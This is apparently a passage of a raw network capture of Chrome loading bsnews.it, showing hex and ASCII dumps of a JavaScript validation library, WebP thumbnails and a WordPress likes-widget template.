2024-03-28 08:51:04 UTC	1369	IN	Data Raw: 29 29 2c 74 68 69 73 2e 66 6e 28 76 61 6c 75 65 2c 72 65 71 75 69 72 65 6d 65 6e 74 46 69 72 73 74 41 72 67 29 3b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 76 61 6c 75 65 29 29 7b 69 66 28 21 74 68 69 73 2e 76 61 6c 69 64 61 74 65 4d 75 6c 74 69 70 6c 65 29 74 68 72 6f 77 22 56 61 6c 69 64 61 74 6f 72 20 60 22 2b 74 68 69 73 2e 6e 61 6d 65 2b 22 60 20 64 6f 65 73 20 6e 6f 74 20 68 61 6e 64 6c 65 20 6d 75 6c 74 69 70 6c 65 20 76 61 6c 75 65 73 22 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 76 61 6c 69 64 61 74 65 4d 75 6c 74 69 70 6c 65 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 76 61 72 20 69 6e 73 74 61 6e 63 65 3d 61 72 67 75 6d 65 6e 74 73 5b 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2d 31 5d 3b 69 66 28 74 68 69 73 Data Ascii: )),this.fn(value,requirementFirstArg);if(Array.isArray(value)){if(!this.validateMultiple)throw"Validator `"+this.name+"` does not handle multiple values";return this.validateMultiple.apply(this,arguments)}var instance=arguments[arguments.length-1];if(this
2024-03-28 08:51:04 UTC	1369	IN	Data Raw: 73 3d 7b 65 6d 61 69 6c 3a 2f 5e 28 28 28 5b 61 2d 7a 41 2d 5a 5d 7c 5c 64 7c 5b 21 23 5c 24 25 26 27 5c 2a 5c 2b 5c 2d 5c 2f 3d 5c 3f 5c 5e 5f 60 7b 5c 7c 7d 7e 5d 7c 5b 5c 75 30 30 41 30 2d 5c 75 44 37 46 46 5c 75 46 39 30 30 2d 5c 75 46 44 43 46 5c 75 46 44 46 30 2d 5c 75 46 46 45 46 5d 29 2b 28 5c 2e 28 5b 61 2d 7a 41 2d 5a 5d 7c 5c 64 7c 5b 21 23 5c 24 25 26 27 5c 2a 5c 2b 5c 2d 5c 2f 3d 5c 3f 5c 5e 5f 60 7b 5c 7c 7d 7e 5d 7c 5b 5c 75 30 30 41 30 2d 5c 75 44 37 46 46 5c 75 46 39 30 30 2d 5c 75 46 44 43 46 5c 75 46 44 46 30 2d 5c 75 46 46 45 46 5d 29 2b 29 2a 29 7c 28 28 5c 78 32 32 29 28 28 28 28 5c 78 32 30 7c 5c 78 30 39 29 2a 28 5c 78 30 64 5c 78 30 61 29 29 3f 28 5c 78 32 30 7c 5c 78 30 39 29 2b 29 3f 28 28 5b 5c 78 30 31 2d 5c 78 30 38 5c 78 30 Data Ascii: s={email:/^((([a-zA-Z]\|\d\|[!#\$%&'\\+\-\/=\?\^_`{\\|}~]\|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-zA-Z]\|\d\|[!#\$%&'\\+\-\/=\?\^_`{\\|}~]\|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+))\|((\x22)((((\x20\|\x09)(\x0d\x0a))?(\x20\|\x09)+)?(([\x01-\x08\x0
2024-03-28 08:51:04 UTC	1369	IN	Data Raw: 5b 61 2d 7a 41 2d 5a 5c 5c 75 30 30 61 31 2d 5c 5c 75 66 66 66 66 5d 7b 32 2c 7d 29 29 29 28 3f 3a 3a 5c 5c 64 7b 32 2c 35 7d 29 3f 28 3f 3a 2f 5c 5c 53 2a 29 3f 24 22 29 7d 3b 74 79 70 65 54 65 73 74 65 72 73 2e 72 61 6e 67 65 3d 74 79 70 65 54 65 73 74 65 72 73 2e 6e 75 6d 62 65 72 3b 76 61 72 20 64 65 63 69 6d 61 6c 50 6c 61 63 65 73 3d 66 75 6e 63 74 69 6f 6e 28 6e 75 6d 29 7b 76 61 72 20 6d 61 74 63 68 3d 28 22 22 2b 6e 75 6d 29 2e 6d 61 74 63 68 28 2f 28 3f 3a 5c 2e 28 5c 64 2b 29 29 3f 28 3f 3a 5b 65 45 5d 28 5b 2b 2d 5d 3f 5c 64 2b 29 29 3f 24 2f 29 3b 72 65 74 75 72 6e 20 6d 61 74 63 68 3f 4d 61 74 68 2e 6d 61 78 28 30 2c 28 6d 61 74 63 68 5b 31 5d 3f 6d 61 74 63 68 5b 31 5d 2e 6c 65 6e 67 74 68 3a 30 29 2d 28 6d 61 74 63 68 5b 32 5d 3f 2b 6d 61 Data Ascii: [a-zA-Z\\u00a1-\\uffff]{2,})))(?::\\d{2,5})?(?:/\\S*)?$")};typeTesters.range=typeTesters.number;var decimalPlaces=function(num){var match=(""+num).match(/(?:\.(\d+))?(?:[eE]([+-]?\d+))?$/);return match?Math.max(0,(match[1]?match[1].length:0)-(match[2]?+ma

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49821	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:04 UTC	639	OUT	GET /bsnews.it/wp-content/uploads/2024/03/maxresdefault.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:04 UTC	571	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:04 GMT Content-Type: image/webp Content-Length: 6716 Connection: close Last-Modified: Wed, 27 Mar 2024 14:40:56 GMT Expires: Sat, 28 Mar 2026 02:40:56 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2024/03/maxresdefault.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "5416808cb7a097ca" Vary: Accept X-nc: HIT dca 2 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:04 UTC	798	IN	Data Raw: 52 49 46 46 34 1a 00 00 57 45 42 50 56 50 38 20 28 1a 00 00 b0 80 00 9d 01 2a 44 01 a0 00 3e 6d 30 94 47 a4 22 a2 21 28 71 cc c8 80 0d 89 65 00 c7 64 b0 6b 77 c3 22 e8 ce 56 57 f5 25 fe 2b d3 02 b4 af d7 4f a3 06 f4 ae 5e 7e 7b d8 2e aa 3c 11 da a7 dd 64 f0 76 b3 34 50 5d b2 c8 94 63 3a 3f c6 74 45 78 40 fd c3 d1 df aa 89 95 7c 4a e5 c4 9e 0d f2 82 fc a9 f4 57 34 78 3f e5 4d 1f 1c b0 cf 6f f0 bf dc 3d 18 7a 63 24 19 60 5c 55 66 6f dc 16 bf b0 05 67 fa 6e bd aa c2 f2 bb 5d e5 19 e9 c6 b7 be 1c 89 ab 4b 93 fe 2c 89 81 bc 34 b5 c7 f0 ba 34 13 1d 28 22 ff d9 30 15 42 11 34 3c 23 ff ab 27 ad 76 e4 d8 86 15 c3 d4 62 b1 24 9c 52 e8 33 e4 c1 ad 3f 2d 17 af df 63 fd 96 09 00 a8 52 80 b2 8f 59 5c fc 55 9b 13 62 7b a9 9d 89 6b d3 6e 54 b2 7f 1c e5 a3 c5 3c c6 66 6e Data Ascii: RIFF4WEBPVP8 (*D>m0G"!(qedkw"VW%+O^~{.<dv4P]c:?tEx@\|JW4x?Mo=zc$`\Ufogn]K,44("0B4<#'vb$R3?-cRY\Ub{knT<fn
2024-03-28 08:51:04 UTC	1369	IN	Data Raw: 02 53 3b 5e 5e a3 c5 19 47 90 74 4d ab c0 b5 ef c9 2f dc 4a 7a c4 7e 67 69 9c 4f a4 8d dd 9e 95 a0 5f 74 ab 70 a8 cf f0 18 ea 7b c1 17 b4 73 97 13 1f e9 dc d9 b8 7c 93 fa eb cb 63 10 bb a4 29 dc eb bc dc c1 dc 5d 24 2a 61 7c 15 d7 1f 4e ac 11 f4 dc bb 25 56 ac e2 ee a2 52 fe a7 b9 28 ed ff 83 82 06 bf c0 c3 9a 89 24 0c 4a 51 70 b3 16 29 3c 22 47 3a 01 f8 12 2b bb 27 ea a9 7b 66 38 5f 31 47 3a 1d ae cb 5c be 82 9c 9b 06 31 a5 97 e1 b7 36 b8 ad 58 e1 96 49 3f f9 ee ca 4c 80 ea 8d 79 57 56 b5 b6 6b a5 03 9f fb 3f eb d7 45 c9 02 f7 03 99 2c 3e 58 0a da cf c4 98 d1 07 85 8f 71 77 d7 ff 2d 48 a2 40 e4 da 6c 89 d9 3b f6 7b f4 4e d7 30 2c 6e 66 85 f8 84 4b c9 28 09 c9 ad c4 d2 20 d8 c7 f0 32 51 30 3c 39 2d 26 03 0c 21 22 ac 7b 65 38 45 7b 9b 66 85 7d d5 db 6c 21 Data Ascii: S;^^GtM/Jz~giO_tp{s\|c)]$*a\|N%VR($JQp)<"G:+'{f8_1G:\16XI?LyWVk?E,>Xqw-H@l;{N0,nfK( 2Q0<9-&!"{e8E{f}l!
2024-03-28 08:51:04 UTC	1369	IN	Data Raw: 91 70 15 a2 36 4d ea b4 62 48 71 c8 5d 56 42 86 73 56 62 ee 7e d7 34 27 1a 7c c9 7d 97 08 e6 a3 de 5f df 61 2a a3 4e 0e 12 7e 6d 66 37 35 40 6b 86 c1 ce 1b 50 42 70 f5 a0 11 4b 73 62 a3 41 be 2a 04 e3 06 78 da 72 6e af eb f5 dd 82 61 27 f3 3b 37 ff 27 98 21 59 57 d5 ba a2 43 f7 54 2b 8b 9c 8a 46 95 33 90 a2 f3 3d 5f c9 6a c3 d1 95 b4 d5 78 15 59 de 37 f0 6c 04 5b 23 05 d5 4c 07 86 7a 6e fd 00 38 a2 75 f1 45 c2 3a 55 64 4c 32 cd bd 02 af 72 fa a4 38 ce 4a 88 d9 6d 2e 66 37 41 5e 54 a7 4b cc e8 c1 65 49 0c 13 15 f3 76 49 0f a3 37 0c 5a e6 90 48 a2 83 c9 f4 02 f0 e5 96 85 26 50 02 97 a1 dc d8 da 40 0e a0 c1 b6 d0 f2 76 bd bb 79 6d 4c 49 c7 43 0e 20 c5 b0 eb f4 dd 78 6f f1 f3 05 e0 34 60 2b 8c 9f d7 c3 b6 40 74 47 37 50 fc 65 2d 4d fb 67 46 16 55 76 ec 66 e3 Data Ascii: p6MbHq]VBsVb~4'\|}_aN~mf75@kPBpKsbAxrna';7'!YWCT+F3=_jxY7l[#Lzn8uE:UdL2r8Jm.f7A^TKeIvI7ZH&P@vymLIC xo4`+@tG7Pe-MgFUvf
2024-03-28 08:51:04 UTC	1369	IN	Data Raw: 25 42 83 fb 34 62 a5 d6 7d c1 fa 0d 10 26 20 db 2e 50 35 e0 85 f5 6f 05 01 81 c8 23 93 f9 36 07 9f 8e d6 91 1f 12 31 9c c7 58 d5 aa fe 64 4b 50 78 08 63 32 2a 64 f7 91 7f 68 4d 8f 64 7b b6 11 7f a6 d9 d8 ca e3 01 40 3c bc b2 b9 b4 d0 5e d1 70 ac 16 a1 02 25 24 23 1b 9f 17 93 c0 a1 47 27 ac d6 ea 18 a2 0c 20 e1 f4 94 bd 9c 48 c6 8c 0f 96 4c c9 2a 2c b3 bd 4e f3 d8 11 80 d9 69 a6 ef ce 8e 80 fa 8d 28 73 d2 f8 35 68 82 2f 6b 7f d4 9e 3c 75 a2 ac 3e ed dd 1c 9f 10 55 32 57 9c 00 db 83 81 f4 5e 21 e6 3a 50 23 7a 72 bb 77 74 08 cc d6 59 3c 51 7c 90 cd 5b d3 e2 ee 9f 6c 87 b2 5a 2e 6f 1f 97 a9 5b 8e e3 12 0f 84 8f 25 ae f3 e2 b8 d2 c3 e8 8d 90 dc af 64 b8 59 b8 13 44 ca d9 99 f7 f7 dc 38 b4 9b df 8e 45 3c 33 07 42 ed d5 29 ba 1d fb a3 e0 93 9b 63 b9 38 8b fe 03 Data Ascii: %B4b}& .P5o#61XdKPxc2dhMd{@<^p%$#G' HL,Ni(s5h/k<u>U2W^!:P#zrwtY<Q\|[lZ.o[%dYD8E<3B)c8
2024-03-28 08:51:04 UTC	1369	IN	Data Raw: 06 f8 3e 9d 2a 31 d5 88 0f 0a 3b 29 0c 38 e4 2d 82 1e a6 6d 08 64 b0 13 a5 69 65 aa 6f fd 62 e6 b4 38 b9 91 c3 87 9f 9f 02 8b 45 6b 75 da c3 eb 44 79 3f 89 7f ac 5c 50 25 f0 fe 7a 95 13 c6 a0 08 ea e5 31 06 dc 26 b1 29 d8 16 65 3a f6 08 9a 4e 5b 8c bb 4d e4 b2 6e 09 ab 18 0b 0a 1b dd da a6 69 7d 30 9e 44 0f e6 a2 6d 1a 9d 98 cb a1 e8 02 3b ee 33 80 05 e3 29 37 d8 a7 ee 59 57 20 6a 65 e7 b0 4c 13 66 cb fb 17 f9 79 4e 7a e3 05 69 b6 d3 c6 67 2d c4 48 cb 2c 70 80 2e cb 13 f6 d0 14 f0 a5 28 b1 0c 15 ff a4 f4 b7 0e da 39 33 79 0f f2 ce f9 b9 9f a0 ee 55 9e 02 9c 6a 3d de 9f 95 e1 48 c6 7c 26 dd e3 2d a7 72 9c 78 7e 62 76 3f fe 79 17 88 d4 77 dc ac 9e 80 ce 8d ff f6 f9 75 5d 28 c7 f9 bb 4c d4 bf f3 90 0a 21 86 03 16 1d 77 a3 18 89 7d 4c 54 09 a2 fb 5e 41 5a e4 Data Ascii: >*1;)8-mdieob8EkuDy?\P%z1&)e:N[Mni}0Dm;3)7YW jeLfyNzig-H,p.(93yUj=H\|&-rx~bv?ywu](L!w}LT^AZ
2024-03-28 08:51:04 UTC	442	IN	Data Raw: a9 dc 6b 7e 3c 0a c4 f5 df 59 fb 11 62 51 07 cc 58 39 82 b3 02 0d 2b 4d 5f 65 e6 c8 87 f0 d5 e1 68 7b 22 2e 01 64 e5 af 4d b0 bb fc a0 33 51 44 b5 85 b7 1d 17 90 ff 68 d6 52 28 b2 ce 61 77 5e 26 78 22 44 7a c9 c9 d3 fd 78 2f 71 a5 da f8 08 f5 c1 26 be 18 4e ef 46 7e 75 54 a7 c9 07 9d 59 ee 21 6e 8b 95 d7 a6 91 d1 e5 c5 20 16 25 8f 8e 58 0e 6a 0e 66 27 e0 8e 82 03 d0 12 cb 62 f5 8c 38 79 4f 6e 5e e6 88 7b 11 d1 d0 a4 1f e7 b5 90 86 18 7d 21 00 5c e4 5a 42 80 68 7d 84 7d fd d3 08 c2 dd 55 d3 dc 11 b0 32 d5 16 95 9e 78 4f cb f3 d0 1b 6d e9 48 b4 5e 0b 89 af 27 a7 3f bf f0 4d d9 60 53 54 8a 11 15 8e 85 de 3c fd fa 65 1f 05 8c 54 f5 a6 33 9f d3 a2 ae 87 ac 8c ab be 20 1b 39 14 13 a0 4a c8 21 46 4c 1e 54 0f f1 fa 0f db 98 c9 42 b6 ed 49 da 97 43 73 42 38 41 5f Data Ascii: k~<YbQX9+M_eh{".dM3QDhR(aw^&x"Dzx/q&NF~uTY!n %Xjf'b8yOn^{}!\ZBh}}U2xOmH^'?M`ST<eT3 9J!FLTBICsB8A_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	49823	192.0.77.32	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:04 UTC	700	OUT	GET /likes/master.html?ver=20240327 HTTP/1.1 Host: widgets.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:04 UTC	417	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:04 GMT Content-Type: text/html Content-Length: 2816 Connection: close Last-Modified: Fri, 22 Mar 2024 10:01:17 GMT Vary: Accept-Encoding ETag: "65fd56ed-b00" X-ac: 4.dca _dca MISS Access-Control-Allow-Methods: GET, HEAD Access-Control-Allow-Origin: * Timing-Allow-Origin: * Alt-Svc: h3=":443"; ma=86400 X-nc: HIT dca 2 Accept-Ranges: bytes
2024-03-28 08:51:04 UTC	952	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 68 74 6d 6c 22 20 69 64 3d 22 61 64 6d 69 6e 2d 62 61 72 2d 6c 69 6b 65 73 22 3e 0a 09 3c 64 69 76 20 69 64 3d 22 77 70 61 64 6d 69 6e 62 61 72 22 20 3c 25 20 69 66 20 28 20 69 73 52 74 6c 20 29 20 7b 20 25 3e 20 63 6c 61 73 73 3d 22 72 74 6c 22 20 3c 25 20 7d 20 25 3e 20 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 71 75 69 63 6b 6c 69 6e 6b 73 22 3e 0a 09 09 09 3c 75 6c 3e 3c 6c 69 20 69 64 3d 22 77 70 2d 61 64 6d 69 6e 2d 62 61 72 2d 77 70 6c 2d 6c 69 6b 65 22 3e 0a 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 61 62 2d 69 74 65 6d 20 6c 69 6b 65 22 20 68 72 65 66 3d 22 23 22 3e 3c 25 3d 20 6c 61 62 65 6c 20 Data Ascii: <!DOCTYPE html><html><head><script type="text/html" id="admin-bar-likes"><div id="wpadminbar" <% if ( isRtl ) { %> class="rtl" <% } %> ><div class="quicklinks"><ul><li id="wp-admin-bar-wpl-like"><a class="ab-item like" href="#"><%= label
2024-03-28 08:51:04 UTC	1369	IN	Data Raw: 6f 6e 28 20 69 74 65 6d 2c 20 6b 65 79 20 29 20 7b 20 25 3e 0a 09 09 09 09 3c 6c 69 20 63 6c 61 73 73 3d 27 3c 25 2d 20 69 74 65 6d 2e 63 73 73 5f 63 6c 61 73 73 20 25 3e 27 20 64 61 74 61 2d 6c 69 6b 65 72 2d 69 64 3d 22 3c 25 2d 20 69 74 65 6d 2e 49 44 20 25 3e 22 3e 3c 61 20 68 72 65 66 3d 22 3c 25 3d 20 69 74 65 6d 2e 70 72 6f 66 69 6c 65 5f 55 52 4c 20 25 3e 22 20 74 69 74 6c 65 3d 22 3c 25 2d 20 69 74 65 6d 2e 6e 61 6d 65 20 25 3e 22 20 63 6c 61 73 73 3d 22 77 70 6c 2d 6c 69 6b 65 72 22 20 72 65 6c 3d 22 6e 6f 66 6f 6c 6c 6f 77 22 20 74 61 72 67 65 74 3d 22 5f 70 61 72 65 6e 74 22 3e 0a 09 09 09 09 09 3c 69 6d 67 20 73 72 63 3d 27 3c 25 3d 20 69 74 65 6d 2e 61 76 61 74 61 72 5f 55 52 4c 20 25 3e 27 20 63 6c 61 73 73 3d 27 61 76 61 74 61 72 20 61 76 Data Ascii: on( item, key ) { %><li class='<%- item.css_class %>' data-liker-id="<%- item.ID %>"><a href="<%= item.profile_URL %>" title="<%- item.name %>" class="wpl-liker" rel="nofollow" target="_parent"><img src='<%= item.avatar_URL %>' class='avatar av
2024-03-28 08:51:04 UTC	495	IN	Data Raw: 75 74 65 20 6f 72 69 67 69 6e 20 66 72 6f 6d 20 55 52 4c 20 61 72 67 75 6d 65 6e 74 0a 09 76 61 72 20 70 61 72 65 6e 74 4f 72 69 67 69 6e 3b 0a 09 69 66 20 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 61 73 68 29 20 7b 0a 09 09 76 61 72 20 70 61 72 61 6d 73 20 3d 20 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 61 73 68 2e 73 75 62 73 74 72 28 31 29 29 2e 73 70 6c 69 74 28 22 26 22 29 3b 0a 0a 09 09 66 6f 72 20 28 69 20 3d 20 30 3b 20 69 20 3c 20 70 61 72 61 6d 73 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0a 09 09 09 76 61 72 20 61 20 3d 20 70 61 72 61 6d 73 5b 69 5d 2e 73 70 6c 69 74 28 22 3d 22 29 3b 0a 09 09 09 2f 2f 20 4e 6f 77 20 65 76 65 72 79 20 70 61 72 61 6d 65 74 65 72 20 66 72 6f 6d 20 74 68 65 20 68 61 73 68 20 69 73 20 62 Data Ascii: ute origin from URL argumentvar parentOrigin;if (window.location.hash) {var params = (window.location.hash.substr(1)).split("&");for (i = 0; i < params.length; i++) {var a = params[i].split("=");// Now every parameter from the hash is b

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	49831	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:05 UTC	635	OUT	GET /bsnews.it/wp-content/uploads/2022/01/bsnews8-3.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:05 UTC	567	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:05 GMT Content-Type: image/webp Content-Length: 9432 Connection: close Last-Modified: Sun, 17 Mar 2024 06:38:09 GMT Expires: Tue, 17 Mar 2026 18:38:09 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2022/01/bsnews8-3.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "d8bc1bbfc8e5d49a" Vary: Accept X-nc: HIT dca 4 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:05 UTC	802	IN	Data Raw: 52 49 46 46 d0 24 00 00 57 45 42 50 56 50 38 20 c4 24 00 00 f0 96 00 9d 01 2a 44 01 a0 00 3e 6d 32 94 47 a4 22 a2 23 a6 73 7c 98 80 0d 89 40 df 10 a0 7e 6e e5 7a cc 4b 77 c5 f9 80 f9 f9 e3 ff 13 be 4f e2 fe 7f 23 9d db 57 f4 bf b5 75 5f f3 18 fd 79 ff 6f fd 97 b0 df ee 5f a9 af d8 5f d8 5f 74 9f fa 1f b4 9e f9 bd 02 3f ac 7f b2 eb 9a f4 28 fd cc f4 e3 fd b1 f8 6c fd dd fd bc f6 8b ff ff 85 bf cc 1f cc f8 6f e4 db db fe e9 7b 21 66 7f b4 5f f1 ff c0 7a 97 fc fb f1 2f ec be 6a be 70 ff b3 e2 ef c6 4f f3 bd 42 3f 2d fe 89 fe 7b 85 94 03 7e 79 fd 8f fe 47 f8 1f ca 2f 89 df c5 f3 b3 f8 2f f4 be c0 ff ac ff f1 39 33 7d 3b d8 17 f4 5f ec bf b3 97 fe 7f ee 3f 30 3e 06 fd 79 ec 35 fc fb fb c7 fe 0e ca 87 44 8e 8b 80 7e c7 78 fe bd 50 1d 1c ae ff 14 fc f2 a6 fd 94 Data Ascii: RIFF$WEBPVP8 $*D>m2G"#s\|@~nzKwO#Wu_yo___t?(lo{!f_z/jpOB?-{~yG//93};_?0>y5D~xP
2024-03-28 08:51:05 UTC	1369	IN	Data Raw: 5e 94 ca 4a 04 de d3 81 d5 73 24 2f b4 45 dc b4 e0 37 0b cf 66 ac f9 b8 91 01 b9 7c 4f 8a 7f ca 16 09 9d 36 34 7d 94 c2 9e 35 43 cb e3 93 ff d3 39 45 aa b6 ff 3f ea 2f 27 5a 9e 92 33 cc d8 16 43 cb 48 d2 10 4d 70 5f 1a 37 b7 9e 19 b4 8d 8c 29 c5 ba ae 26 ca 69 bb c3 0a 59 00 37 9f 60 f9 0f 4b ba e5 ee f3 05 ed ec 72 66 ce 86 f6 73 84 f8 ba de e3 d0 3f 36 79 1f 71 f9 2c bd 24 b7 b1 8b 65 af 8e 48 53 b8 74 75 ac 94 bf 88 bf e7 84 65 a6 a4 d9 33 46 4b 88 30 8b 6c c7 43 f7 3d d2 7e e5 3a 7a b2 25 c9 45 67 1a ee 4e 8e f1 79 6d 98 1b cf ad 5b 97 d4 f8 86 3c be 66 61 c3 2d 0c c0 17 b3 e7 9f 2d f6 b3 34 aa 8a d0 77 9e 74 31 3f 3e 0c 06 46 dd 4f 6a 19 76 73 90 8f 86 09 d8 a6 ca 79 2a 3b 06 51 22 cc 92 69 39 06 79 50 4a 0d c3 e1 2d 5a 15 72 93 db d9 63 4d 9b 60 5e Data Ascii: ^Js$/E7f\|O64}5C9E?/'Z3CHMp_7)&iY7`Krfs?6yq,$eHStue3FK0lC=~:z%EgNym[<fa--4wt1?>FOjvsy*;Q"i9yPJ-ZrcM`^
2024-03-28 08:51:05 UTC	1369	IN	Data Raw: 67 3a 7c ff 89 01 57 f6 0c 91 a2 23 17 39 61 03 c1 e0 34 b2 46 40 39 79 be 52 ea ea 28 2c f1 4a 33 c3 f9 f7 e5 9a 4e c0 2a 5b a9 ba 17 02 ff 9b 2a b5 58 80 ed 8f 35 be 62 66 fe 8b 66 1b 94 66 ae 14 3c b0 72 4c 42 56 38 89 31 e7 4d 60 81 f3 93 a7 f3 83 6e 4f e2 08 c5 57 63 1c eb 3f d0 f6 32 3a 54 0d 8b 9f f1 1f 80 31 93 08 c7 b2 3d 55 f5 b9 56 8e af 32 dc ef 28 66 83 7e 5c ba af 56 90 17 3f f3 fe 68 74 13 bf a9 06 5d 0a 26 68 92 d5 fc 81 dc e7 2f d3 d0 67 8b 4a 43 95 06 d5 29 93 c2 f6 eb ae 8a f0 09 b7 f2 b9 0b 4b 05 cf 47 c3 fc 6e 11 a5 b8 b4 f2 3e 02 7a f4 5f 7e c9 ec 17 32 e4 1b 6f 05 b2 90 83 9e 25 25 b5 59 8c b1 79 4a a2 0f 14 15 0d 7b f0 15 d6 a6 42 74 a2 6f 6b b3 77 77 15 08 b3 64 fc 49 4b f9 9e 1b 44 5b 8c f3 10 96 a1 fa 1f db 3c 62 b0 c8 77 50 46 Data Ascii: g:\|W#9a4F@9yR(,J3N[X5bfff<rLBV81M`nOWc?2:T1=UV2(f~\V?ht]&h/gJC)KGn>z_~2o%%YyJ{BtokwwdIKD[<bwPF
2024-03-28 08:51:05 UTC	1369	IN	Data Raw: e4 31 6f b5 7f 9b a0 ba 2c d4 e9 ac ce 02 ce 61 21 86 75 6a 26 6e d0 15 a8 3c ff f9 35 59 23 1f 36 32 af 4c ef e5 78 c2 92 b2 9c 1d f0 0d c0 80 44 c4 71 c9 ae 78 9d f6 9a 2d cc 81 27 e0 fe 04 ff 1e 77 36 cf 53 c1 9a 5b a7 8d 13 98 a6 02 22 4a 69 9a a8 d0 08 f1 db 8e 8a 88 f0 89 c4 72 dc f6 1e 64 c8 6b 70 8a 24 cf 77 51 05 68 43 0e b9 ba 72 11 91 18 e5 cf 65 b0 74 ba 28 ff e2 4a cc 5f 4e 67 9c aa 30 6c e5 bd 74 07 cb c4 a9 b8 90 5e 68 e4 de e7 af 25 41 bd 7c 5a 9d 1b ce f8 31 be a4 44 b4 bc 0b 3f 8e 25 75 1b 9d c8 ef 91 55 c8 13 75 47 14 35 de bc 2f 26 46 28 a9 bb f4 a7 57 b3 19 0f d5 c9 6b de b5 14 ec 5e 69 73 ac 5d 50 44 83 02 bd 1e 78 2e 53 e7 58 e4 a8 19 87 dd 1e 5b 59 b4 7b 88 f7 be 0d 7e cb 73 0a 20 15 49 a6 4b b9 30 91 6b ba 98 dc c1 7e 4f 69 78 10 Data Ascii: 1o,a!uj&n<5Y#62LxDqx-'w6S["Jirdkp$wQhCret(J_Ng0lt^h%A\|Z1D?%uUuG5/&F(Wk^is]PDx.SX[Y{~s IK0k~Oix
